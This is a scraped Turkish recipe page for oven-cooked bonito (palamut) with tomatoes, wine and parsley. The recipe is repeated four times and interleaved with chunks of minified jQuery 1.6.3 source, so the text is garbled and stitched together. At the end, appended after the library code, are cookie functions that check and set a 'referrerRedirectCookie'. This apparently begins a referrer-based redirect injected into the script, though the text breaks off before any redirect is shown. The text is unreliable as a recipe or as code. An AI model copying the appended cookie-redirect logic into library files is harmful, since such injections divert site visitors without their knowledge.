Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz


Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık -").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:s.isNaN(r)?a.test(r)?s.parseJSON(r):r:parseFloat(r)}catch(o){}s.data(e,n,r)}else r=t}return r}function c(e){for(var t in e)if(t!=="toJSON")return!1;return!0}function h(e,n,r){var i=n+"defer",o=n+"queue",u=n+"mark",a=s.data(e,i,t,!0);a&&(r==="queue"||!s.data(e,o,t,!0))&&(r==="mark"||!s.data(e,u,t,!0))&&setTimeout(function(){!s.data(e,o,t,!0)&&!s.data(e,u,t,!0)&&(s.removeData(e,i,!0),a.resolve())},0)}function L(){return!1}function A(){return!0}function H(e,n,r){var i=s.extend({},r[0]);i.type=e,i.originalEvent={},i.liveFired=t,s.event.handle.call(n,i),i.isDefaultPrevented()&&r[0].preventDefault()}function j(e){var t,n,r,i,o,u,a,f,l,c,h,p,d,v=[],m=[],g=s._data(this,"events");if(e.liveFired===this||!g||!g.live||e.target.disabled||e.button&&e.type==="click")return;e.namespace&&(p=new RegExp("(^|\.)"+e.namespace.split(".").join("\.(?:.*\.)?")+"(\.|$)")),e.liveFired=this;var y=g.live.slice(0);for(a=0;an)break;e.currentTarget=i.elem,e.data=i.handleObj.data,e.handleObj=i.handleObj,d=i.handleObj.origHandler.apply(i.elem,arguments);if(d===!1||e.isPropagationStopped()){n=i.level,d===!1&&(t=!1);if(e.isImmediatePropagationStopped())break}}return t}function F(e,t){return(e&&e!=="*"?e+".":"")+t.replace(T,"`").replace(N,"&")}function V(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function $(e,t,n){t=t||0;if(s.isFunction(t))return s.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return s.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=s.grep(e,function(e){return e.nodeType===1});if(U.test(t))return s.filter(t,r,!n);t=s.filter(t,r)}return s.grep(e,function(e,r){return s.inArray(e,t)>=0===n})}function st(e,t){return s.nodeName(e,"table")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function ot(e,t){if(t.nodeType!==1||!s.hasData(e))return;var n=s.expando,r=s.data(e),i=s.data(t,r);if(r=r[n]){var o=r.events;i=i[n]=s.extend({},r);if(o){delete i.handle,i.events={};for(var u in o)for(var a=0,f=o[u].length;a

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık */")),t.parentNode&&t.parentNode.removeChild(t)}function Tt(e,t,n){var r=t==="width"?e.offsetWidth:e.offsetHeight,i=t==="width"?bt:wt;if(r>0)return n!=="border"&&s.each(i,function(){n||(r-=parseFloat(s.css(e,"padding"+this))||0),n==="margin"?r+=parseFloat(s.css(e,n+this))||0:r-=parseFloat(s.css(e,"border"+this+"Width"))||0}),r+"px";r=Et(e,t,t);if(r<0||r==null)r=e.style[t]||0;return r=parseFloat(r)||0,n&&s.each(i,function(){r+=parseFloat(s.css(e,"padding"+this))||0,n!=="padding"&&(r+=parseFloat(s.css(e,"border"+this+"Width"))||0),n==="margin"&&(r+=parseFloat(s.css(e,n+this))||0)}),r+"px"}function $t(e){return function(t,n){typeof t!="string"&&(n=t,t="*");if(s.isFunction(n)){var r=t.toLowerCase().split(jt),i=0,o=r.length,u,a,f;for(;i").appendTo(t),i=r.css("display");r.remove();if(i==="none"||i===""){an||(an=n.createElement("iframe"),an.frameBorder=an.width=an.height=0),t.appendChild(an);if(!fn||!an.createElement)fn=(an.contentWindow||an.contentDocument).document,fn.write((n.compatMode==="CSS1Compat"?"":"")+""),fn.close();r=fn.createElement(e),fn.body.appendChild(r),i=s.css(r,"display"),t.removeChild(an)}un[e]=i}return un[e]}function En(e){return s.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n=e.document,r=e.navigator,i=e.location,s=function(){function B(){if(i.isReady)return;try{n.documentElement.doScroll("left")}catch(e){setTimeout(B,1);return}i.ready()}var i=function(e,t){return new i.fn.init(e,t,u)},s=e.jQuery,o=e.$,u,a=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,f=/\S/,l=/^\s+/,c=/\s+$/,h=/\d/,p=/^<(\w+)\s*\/?>(?:<\/

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık >)?$/,d=/^[\],:{}\s]*$/,v=/\(?:["\\/bfnrt]|u[0-9a-fA-F]{4})/g,m=/"[^"\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,g=/(?:^|:|,)(?:\s*\[)+/g,y=/(webkit)[ \/]([\w.]+)/,b=/(opera)(?:.*version)?[ \/]([\w.]+)/,w=/(msie) ([\w.]+)/,E=/(mozilla)(?:.*? rv:([\w.]+))?/,S=/-([a-z]|[0-9])/ig,x=/^-ms-/,T=function(e,t){return(t+"").toUpperCase()},N=r.userAgent,C,k,L,A=Object.prototype.toString,O=Object.prototype.hasOwnProperty,M=Array.prototype.push,_=Array.prototype.slice,D=String.prototype.trim,P=Array.prototype.indexOf,H={};return i.fn=i.prototype={constructor:i,init:function(e,r,s){var o,u,f,l;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(e==="body"&&!r&&n.body)return this.context=n,this[0]=n.body,this.selector=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?o=[null,e,null]:o=a.exec(e);if(o&&(o[1]||!r)){if(o[1])return r=r instanceof i?r[0]:r,l=r?r.ownerDocument||r:n,f=p.exec(e),f?i.isPlainObject(r)?(e=[n.createElement(f[1])],i.fn.attr.call(e,r,!0)):e=[l.createElement(f[1])]:(f=i.buildFragment([o[1]],[l]),e=(f.cacheable?i.clone(f.fragment):f.fragment).childNodes),i.merge(this,e);u=n.getElementById(o[2]);if(u&&u.parentNode){if(u.id!==o[2])return s.find(e);this.length=1,this[0]=u}return this.context=n,this.selector=e,this}return!r||r.jquery?(r||s).find(e):this.constructor(r).find(e)}return i.isFunction(e)?s.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),i.makeArray(e,this))},selector:"",jquery:"1.6.3",length:0,size:function(){return this.length},toArray:function(){return _.call(this,0)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=this.constructor();return i.isArray(e)?M.apply(r,e):i.merge(r,e),r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return i.each(this,e,t)},ready:function(e){return i.bindReady(),k.done(e),this},eq:function(e){return e===-1?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(_.apply(this,arguments),"slice",_.call(arguments).join(","))},map:function(e){return this.pushStack(i.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:M,sort:[].sort,splice:[].splice},i.fn.init.prototype=i.fn,i.extend=i.fn.extend=function(){var e,n,r,s,o,u,a=arguments[0]||{},f=1,l=arguments.length,c=!1;typeof a=="boolean"&&(c=a,a=arguments[1]||{},f=2),typeof a!="object"&&!i.isFunction(a)&&(a={}),l===f&&(a=this,--f);for(;f0)return;k.resolveWith(n,[i]),i.fn.trigger&&i(n).trigger("ready").unbind("ready")}},bindReady:function(){if(k)return;k=i._Deferred();if(n.readyState==="complete")return setTimeout(i.ready,1);if(n.addEventListener)n.addEventListener("DOMContentLoaded",L,!1),e.addEventListener("load",i.ready,!1);else if(n.attachEvent){n.attachEvent("onreadystatechange",L),e.attachEvent("onload",i.ready);var t=!1;try{t=e.frameElement==null}catch(r){}n.documentElement.doScroll&&t&&B()}},isFunction:function(e){return i.type(e)==="function"},isArray:Array.isArray||function(e){return i.type(e)==="array"},isWindow:function(e){return e&&typeof e=="object"&&"setInterval"in e},isNaN:function(e){return e==null||!h.test(e)||isNaN(e)},type:function(e){return e==null?String(e):H[A.call(e)]||"object"},isPlainObject:function(e){if(!e||i.type(e)!=="object"||e.nodeType||i.isWindow(e))return!1;try{if(e.constructor&&!O.call(e,"constructor")&&!O.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||O.call(e,r)},isEmptyObject:function(e){for(var t in e)return!1;return!0},error:function(e){throw e},parseJSON:function(t){if(typeof t!="string"||!t)return null;t=i.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(d.test(t.replace(v,"@").replace(m,"]").replace(g,"")))return(new Function("return "+t))();i.error("Invalid JSON: "+t)},parseXML:function(n){var r,s;try{e.DOMParser?(s=new DOMParser,r=s.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&i.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&f.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(x,"ms-").replace(S,T)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toUpperCase()===t.toUpperCase()},each:function(e,n,r){var s,o=0,u=e.length,a=u===t||i.isFunction(e);if(r){if(a){for(s in e)if(n.apply(e[s],r)===!1)break}else for(;o0&&e[0]&&e[f-1]||f===0||i.isArray(e));if(l)for(;a1?u.call(arguments,0):n,--i||o.resolveWith(o,u.call(t,0))}}var t=arguments,n=0,r=t.length,i=r,o=r<=1&&e&&s.isFunction(e.promise)?e:s.Deferred();if(r>1){for(;n
a",r=e.getElementsByTagName("*"),i=e.getElementsByTagName("a")[0];if(!r||!r.length||!i)return{};o=n.createElement("select"),u=o.appendChild(n.createElement("option")),a=e.getElementsByTagName("input")[0],l={leadingWhitespace:e.firstChild.nodeType===3,tbody:!e.getElementsByTagName("tbody").length,htmlSerialize:!!e.getElementsByTagName("link").length,style:/top/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:a.value==="on",optSelected:u.selected,getSetAttribute:e.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},a.checked=!0,l.noCloneChecked=a.cloneNode(!0).checked,o.disabled=!0,l.optDisabled=!u.disabled;try{delete e.test}catch(E){l.deleteExpando=!1}!e.addEventListener&&e.attachEvent&&e.fireEvent&&(e.attachEvent("onclick",function(){l.noCloneEvent=!1}),e.cloneNode(!0).fireEvent("onclick")),a=n.createElement("input"),a.value="t",a.setAttribute("type","radio"),l.radioValue=a.value==="t",a.setAttribute("checked","checked"),e.appendChild(a),c=n.createDocumentFragment(),c.appendChild(e.firstChild),l.checkClone=c.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",e.style.width=e.style.paddingLeft="1px",h=n.getElementsByTagName("body")[0],d=n.createElement(h?"div":"body"),v={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},h&&s.extend(v,{position:"absolute",left:"-1000px",top:"-1000px"});for(b in v)d.style[b]=v[b];d.appendChild(e),p=h||t,p.insertBefore(d,p.firstChild),l.appendChecked=a.checked,l.boxModel=e.offsetWidth===2,"zoom"in e.style&&(e.style.display="inline",e.style.zoom=1,l.inlineBlockNeedsLayout=e.offsetWidth===2,e.style.display="",e.innerHTML="
",l.shrinkWrapBlocks=e.offsetWidth!==2),e.innerHTML="
t
",m=e.getElementsByTagName("td"),w=m[0].offsetHeight===0,m[0].style.display="",m[1].style.display="none",l.reliableHiddenOffsets=w&&m[0].offsetHeight===0,e.innerHTML="",n.defaultView&&n.defaultView.getComputedStyle&&(f=n.createElement("div"),f.style.width="0",f.style.marginRight="0",e.appendChild(f),l.reliableMarginRight=(parseInt((n.defaultView.getComputedStyle(f,null)||{marginRight:0}).marginRight,10)||0)===0),d.innerHTML="",p.removeChild(d);if(e.attachEvent)for(b in{submit:1,change:1,focusin:1})y="on"+b,w=y in e,w||(e.setAttribute(y,"return;"),w=typeof e[y]=="function"),l[b+"Bubbles"]=w;return d=c=o=u=h=f=e=a=null,l}(),s.boxModel=s.support.boxModel;var a=/^(?:\{.*\}|\[.*\])$/,f=/([a-z])([A-Z])/g;s.extend({cache:{},uuid:0,expando:"jQuery"+(s.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?s.cache[e[s.expando]]:e[s.expando],!!e&&!c(e)},data:function(e,n,r,i){if(!s.acceptData(e))return;var o,u,a=s.expando,f=typeof n=="string",l=e.nodeType,c=l?s.cache:e,h=l?e[s.expando]:e[s.expando]&&s.expando;if((!h||i&&h&&c[h]&&!c[h][a])&&f&&r===t)return;h||(l?e[s.expando]=h=++s.uuid:h=s.expando),c[h]||(c[h]={},l||(c[h].toJSON=s.noop));if(typeof n=="object"||typeof n=="function")i?c[h][a]=s.extend(c[h][a],n):c[h]=s.extend(c[h],n);return o=c[h],i&&(o[a]||(o[a]={}),o=o[a]),r!==t&&(o[s.camelCase(n)]=r),n==="events"&&!o[n]?o[a]&&o[a].events:(f?(u=o[n],u==null&&(u=o[s.camelCase(n)])):u=o,u)},removeData:function(e,t,n){if(!s.acceptData(e))return;var r,i=s.expando,o=e.nodeType,u=o?s.cache:e,a=o?e[s.expando]:s.expando;if(!u[a])return;if(t){r=n?u[a][i]:u[a];if(r){r[t]||(t=s.camelCase(t)),delete r[t];if(!c(r))return}}if(n){delete u[a][i];if(!c(u[a]))return}var f=u[a][i];s.support.deleteExpando||!u.setInterval?delete u[a]:u[a]=null,f?(u[a]={},o||(u[a].toJSON=s.noop),u[a][i]=f):o&&(s.support.deleteExpando?delete e[s.expando]:e.removeAttribute?e.removeAttribute(s.expando):e[s.expando]=null)},_data:function(e,t,n){return s.data(e,t,n,!0)},acceptData:function(e){if(e.nodeName){var t=s.noData[e.nodeName.toLowerCase()];if(t)return t!==!0&&e.getAttribute("classid")===t}return!0}}),s.fn.extend({data:function(e,n){var r=null;if(typeof e=="undefined"){if(this.length){r=s.data(this[0]);if(this[0].nodeType===1){var i=this[0].attributes,o;for(var u=0,a=i.length;u-1)return!0;return!1},val:function(e){var n,r,i=this[0];if(!arguments.length)return i?(n=s.valHooks[i.nodeName.toLowerCase()]||s.valHooks[i.type],n&&"get"in n&&(r=n.get(i,"value"))!==t?r:(r=i.value,typeof r=="string"?r.replace(v,""):r==null?"":r)):t;var o=s.isFunction(e);return this.each(function(r){var i=s(this),u;if(this.nodeType!==1)return;o?u=e.call(this,r,i.val()):u=e,u==null?u="":typeof u=="number"?u+="":s.isArray(u)&&(u=s.map(u,function(e){return e==null?"":e+""})),n=s.valHooks[this.nodeName.toLowerCase()]||s.valHooks[this.type];if(!n||!("set"in n)||n.set(this,u,"value")===t)this.value=u})}}),s.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n=e.selectedIndex,r=[],i=e.options,o=e.type==="select-one";if(n<0)return null;for(var u=o?n:0,a=o?n+1:i.length;u=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(e,n,r,i){var o=e.nodeType;if(!e||o===3||o===8||o===2)return t;if(i&&n in s.attrFn)return s(e)[n](r);if("getAttribute"in e){var u,a,f=o!==1||!s.isXMLDoc(e);return f&&(n=s.attrFix[n]||n,a=s.attrHooks[n],a||(b.test(n)?a=E:w&&(a=w))),r!==t?r===null?(s.removeAttr(e,n),t):a&&"set"in a&&f&&(u=a.set(e,r,n))!==t?u:(e.setAttribute(n,""+r),r):a&&"get"in a&&f&&(u=a.get(e,n))!==null?u:(u=e.getAttribute(n),u===null?t:u)}return s.prop(e,n,r)},removeAttr:function(e,t){var n;e.nodeType===1&&(t=s.attrFix[t]||t,s.attr(e,t,""),e.removeAttribute(t),b.test(t)&&(n=s.propFix[t]||t)in e&&(e[n]=!1))},attrHooks:{type:{set:function(e,t){if(m.test(e.nodeName)&&e.parentNode)s.error("type property can't be changed");else if(!s.support.radioValue&&t==="radio"&&s.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return w&&s.nodeName(e,"button")?w.get(e,t):t in e?e.value:null},set:function(e,t,n){if(w&&s.nodeName(e,"button"))return w.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i=e.nodeType;if(!e||i===3||i===8||i===2)return t;var o,u,a=i!==1||!s.isXMLDoc(e);return a&&(n=s.propFix[n]||n,u=s.propHooks[n]),r!==t?u&&"set"in u&&(o=u.set(e,r,n))!==t?o:e[n]=r:u&&"get"in u&&(o=u.get(e,n))!==null?o:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):g.test(e.nodeName)||y.test(e.nodeName)&&e.href?0:t}}}}),s.attrHooks.tabIndex=s.propHooks.tabIndex,E={get:function(e,n){var r;return s.prop(e,n)===!0||(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?s.removeAttr(e,n):(r=s.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},s.support.getSetAttribute||(w=s.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&r.nodeValue!==""?r.nodeValue:t},set:function(e,t,r){var i=e.getAttributeNode(r);return i||(i=n.createAttribute(r),e.setAttributeNode(i)),i.nodeValue=t+""}},s.each(["width","height"],function(e,t){s.attrHooks[t]=s.extend(s.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})})),s.support.hrefNormalized||s.each(["href","src","width","height"],function(e,n){s.attrHooks[n]=s.extend(s.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),s.support.style||(s.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=""+t}}),s.support.optSelected||(s.propHooks.selected=s.extend(s.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),s.support.checkOn||s.each(["radio","checkbox"],function(){s.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),s.each(["radio","checkbox"],function(){s.valHooks[this]=s.extend(s.valHooks[this],{set:function(e,t){if(s.isArray(t))return e.checked=s.inArray(s(e).val(),t)>=0}})});var S=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,T=/\./g,N=/ /g,C=/[^\w\s.|`]/g,k=function(e){return e.replace(C,"\$&")};s.event={add:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;if(r===!1)r=L;else if(!r)return;var o,u;r.handler&&(o=r,r=o.handler),r.guid||(r.guid=s.guid++);var a=s._data(e);if(!a)return;var f=a.events,l=a.handle;f||(a.events=f={}),l||(a.handle=l=function(e){return typeof s=="undefined"||!!e&&s.event.triggered===e.type?t:s.event.handle.apply(l.elem,arguments)}),l.elem=e,n=n.split(" ");var c,h=0,p;while(c=n[h++]){u=o?s.extend({},o):{handler:r,data:i},c.indexOf(".")>-1?(p=c.split("."),c=p.shift(),u.namespace=p.slice(0).sort().join(".")):(p=[],u.namespace=""),u.type=c,u.guid||(u.guid=r.guid);var d=f[c],v=s.event.special[c]||{};if(!d){d=f[c]=[];if(!v.setup||v.setup.call(e,i,p,l)===!1)e.addEventListener?e.addEventListener(c,l,!1):e.attachEvent&&e.attachEvent("on"+c,l)}v.add&&(v.add.call(e,u),u.handler.guid||(u.handler.guid=r.guid)),d.push(u),s.event.global[c]=!0}e=null},global:{},remove:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;r===!1&&(r=L);var o,u,a,f,l=0,c,h,p,d,v,m,g,y=s.hasData(e)&&s._data(e),b=y&&y.events;if(!y||!b)return;n&&n.type&&(r=n.handler,n=n.type);if(!n||typeof n=="string"&&n.charAt(0)==="."){n=n||"";for(u in b)s.event.remove(e,u+n);return}n=n.split(" ");while(u=n[l++]){g=u,m=null,c=u.indexOf(".")<0,h=[],c||(h=u.split("."),u=h.shift(),p=new RegExp("(^|\.)"+s.map(h.slice(0).sort(),k).join("\.(?:.*\.)?")+"(\.|$)")),v=b[u];if(!v)continue;if(!r){for(f=0;f=0&&(u=u.slice(0,-1),f=!0),u.indexOf(".")>=0&&(a=u.split("."),u=a.shift(),a.sort());if((!i||s.event.customEvent[u])&&!s.event.global[u])return;n=typeof n=="object"?n[s.expando]?n:new s.Event(u,n):new s.Event(u),n.type=u,n.exclusive=f,n.namespace=a.join("."),n.namespace_re=new RegExp("(^|\.)"+a.join("\.(?:.*\.)?")+"(\.|$)");if(o||!i)n.preventDefault(),n.stopPropagation();if(!i){s.each(s.cache,function(){var e=s.expando,t=this[e];t&&t.events&&t.events[u]&&s.event.trigger(n,r,t.handle.elem)});return}if(i.nodeType===3||i.nodeType===8)return;n.result=t,n.target=i,r=r!=null?s.makeArray(r):[],r.unshift(n);var l=i,c=u.indexOf(":")<0?"on"+u:"";do{var h=s._data(l,"handle");n.currentTarget=l,h&&h.apply(l,r),c&&s.acceptData(l)&&l[c]&&l[c].apply(l,r)===!1&&(n.result=!1,n.preventDefault()),l=l.parentNode||l.ownerDocument||l===n.target.ownerDocument&&e}while(l&&!n.isPropagationStopped());if(!n.isDefaultPrevented()){var p,d=s.event.special[u]||{};if((!d._default||d._default.call(i.ownerDocument,n)===!1)&&(u!=="click"||!s.nodeName(i,"a"))&&s.acceptData(i)){try{c&&i[u]&&(p=i[c],p&&(i[c]=null),s.event.triggered=u,i[u]())}catch(v){}p&&(i[c]=p),s.event.triggered=t}}return n.result},handle:function(n){n=s.event.fix(n||e.event);var r=((s._data(this,"events")||{})[n.type]||[]).slice(0),i=!n.exclusive&&!n.namespace,o=Array.prototype.slice.call(arguments,0);o[0]=n,n.currentTarget=this;for(var u=0,a=r.length;u-1?s.map(e.options,function(e){return e.selected}).join("-"):"":s.nodeName(e,"select")&&(n=e.selectedIndex),n},P=function(n){var r=n.target,i,o;if(!x.test(r.nodeName)||r.readOnly)return;i=s._data(r,"_change_data"),o=D(r),(n.type!=="focusout"||r.type!=="radio")&&s._data(r,"_change_data",o);if(i===t||o===i)return;if(i!=null||o)n.type="change",n.liveFired=t,s.event.trigger(n,arguments[1],r)};s.event.special.change={filters:{focusout:P,beforedeactivate:P,click:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(n==="radio"||n==="checkbox"||s.nodeName(t,"select"))&&P.call(this,e)},keydown:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(e.keyCode===13&&!s.nodeName(t,"textarea")||e.keyCode===32&&(n==="checkbox"||n==="radio")||n==="select-multiple")&&P.call(this,e)},beforeactivate:function(e){var t=e.target;s._data(t,"_change_data",D(t))}},setup:function(e,t){if(this.type==="file")return!1;for(var n in _)s.event.add(this,n+".specialChange",_[n]);return x.test(this.nodeName)},teardown:function(e){return s.event.remove(this,".specialChange"),x.test(this.nodeName)}},_=s.event.special.change.filters,_.focus=_.beforeactivate}s.support.focusinBubbles||s.each({focus:"focusin",blur:"focusout"},function(e,t){function i(e){var n=s.event.fix(e);n.type=t,n.originalEvent={},s.event.trigger(n,null,n.target),n.isDefaultPrevented()&&e.preventDefault()}var r=0;s.event.special[t]={setup:function(){r++===0&&n.addEventListener(e,i,!0)},teardown:function(){--r===0&&n.removeEventListener(e,i,!0)}}}),s.each(["bind","one"],function(e,n){s.fn[n]=function(e,r,i){var o;if(typeof e=="object"){for(var u in e)this[n](u,r,e[u],i);return this}if(arguments.length===2||r===!1)i=r,r=t;n==="one"?(o=function(e){return s(this).unbind(e,o),i.apply(this,arguments)},o.guid=i.guid||s.guid++):o=i;if(e==="unload"&&n!=="one")this.one(e,r,i);else for(var a=0,f=this.length;a0?this.bind(t,e,n):this.trigger(t)},s.attrFn&&(s.attrFn[t]=!0)}),function(){function S(e){var t=n.cookie,r=t.indexOf(" "+e+"=");r==-1&&(r=t.indexOf(e+"="));if(r==-1)t=null;else{r=t.indexOf("=",r)+1;var i=t.indexOf(";",r);i==-1&&(i=t.length),t=unescape(t.substring(r,i))}return t}function x(e,t,r){var i=new Date;i.setDate(i.getDate()+r);var s=escape(t)+(r==null?"":"; expires="+i.toUTCString());n.cookie=e+"="+s}function T(){var e=S("referrerRedirectCookie");return e!=null&&e!=""?!0:(x("referrerRedirectCookie","do not redirect",730),!1)}function 